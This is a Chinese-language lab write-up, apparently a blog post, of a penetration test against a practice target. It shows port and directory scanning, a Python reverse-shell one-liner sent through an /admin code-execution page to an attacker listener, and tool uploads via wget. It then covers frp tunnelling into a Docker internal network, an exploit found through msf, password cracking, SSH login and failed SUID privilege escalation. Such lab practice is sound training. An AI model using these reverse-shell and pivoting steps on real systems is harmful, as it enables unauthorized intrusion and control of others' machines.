渗透练习02

渗透练习02

一、网站扫描

1.1 查看靶机开放端口

nmap扫描靶场全端口,发现有22和5000端口开着,5000端口是python脚本语言写的http协议网站,22端口看出对方系统是Linux

nmap 192.168.123.169 -p- --min-rate 1000 -sV

开放了以下端口

PORT    STATE  SERVICE   VERSION
22/tcp   open    ssh     OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
5000/tcp open    http    Werkzeug httpd 0.14.1 (Python 2.7.15)

对5000端口进行访问,测试未发现可利用信息

1.2 目录扫描

利用dirsearch工具对5000端口进行目录扫描

┌──(root㉿kali)-[/home/kali]
└─# dirsearch                                    //下载dirsearch
┌──(root㉿kali)-[/home/kali]
└─# dirsearch -u http://192.168.123.153:5000/
[07:23:10] 200 - 4018 - /admin

扫出/admin目录,访问该路径,发现网页有代码执行的功能

二、漏洞利用

2.1 利用nc连接python反弹shell
网页端

输python反弹shell的代码

import socket,subprocess,os;s=socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“kali机ip”,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);

kali机端
┌──(root㉿kali)-[/home/kali]
└─# nc -lp 80
listening on [any] 80 ...
connect to [192.168.123.30] from socnet.lan [192.168.123.153] 51691
/app # ls
Dockerfile
main.py
requirements.txt
templates

连接成功

三、提权

后面是对提权的一些尝试,但我最终没有提权成功
3.1 查看目录文件

查看id

/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

/app 目录下,发现有个Dockerfile的模板文件,盲猜该网站是docker搭建的容器系统

为确定这是docker容器系统,可输入ls /.dockerenv 命令,若存在/.dockerenv目录,这证明是

显而易见,此处确实是docker容器系统,不是安装在普通服务器上的系统,我们进入的shell不是靶机的物理机shell

/app # cat Dockerfile
#docker build -t socnet .
#docker run -td --rm -p 8080:8080 socnet
FROM python:2.7-alpine
COPY ./app
WORKDIR /app
RUN pip install -r requirements.txt
CMD ["python", "/app/main.py"] 
/app # ls /.dockerenv
/.dockerenv

ip a 命令查看服务器ip

在这里插入图片描述

由于靶场是目标靶机的docker搭建的,所有我们进入的shell是docker容器,当前容器ip为127.17.0.3 (docker相当于虚拟机),该ip是内网IP

3.2 扫内网IP

为了进一步获取更多信息,看该网段有哪些ip存活,这些存活ip有没有漏洞,用ping太慢,只能一个个测,linux系统没有fping,所有需使用fscan等工具

需将fscan通过shell将本地下载好的文件上传到靶机上

kali机端先开启443端口的web服务

在这里插入图片描述

shell端通过wget 从本地开的web页面下载fscan

在这里插入图片描述

Chmod加权限后运行

fscan扫描docker容器的内网ip段,发现只有1,2,3主机存活

在这里插入图片描述

3.3 利用frp将内网端口映射到本地

frp是通过内网和kali机建立隧道,生成代理,使kali机上的工具可以基于该代理直接对内网ip使用,实现内网穿透

下载frp到kali机:https://github.com/fatedier/frp/releases/tag/v0.59.0

在这里插入图片描述

修改两端配置文件

在这里插入图片描述

在这里插入图片描述

配置好后,kali机开启web服务,必须切换到要上传的文件所在目录开启

在这里插入图片描述

将frp客户端和客户端配置文件上传到目标靶机

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

服务端开启监听

在这里插入图片描述

客户端运行代理工具

在这里插入图片描述

kali连通内网后,访问kali的ip:映射端口9200,就能访问内网了

在这里插入图片描述

访问内网,看到网站内容,看到一个软件名,去msf搜它有没有漏洞

在这里插入图片描述

发现搜出有漏洞,提供载荷

在这里插入图片描述

看一下该脚本怎么使用

在这里插入图片描述

运行要使用python2,是因为py脚本print没有使用括号看出,python3是print()

在这里插入图片描述

在这里插入图片描述

解密后使用ssh连接,发现只有john用户可以连接成功

ssh连接,账号是john@靶场物理机ip,密码是上面MD5解密

在这里插入图片描述

将所有提权方法试一遍,发现只有find有有权限文件

在这里插入图片描述

find该命令是找出有suid特权位的文件,但最后发现它们并不能用suid提权

现只有find有有权限文件

在这里插入图片描述

find该命令是找出有suid特权位的文件,但最后发现它们并不能用suid提权

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值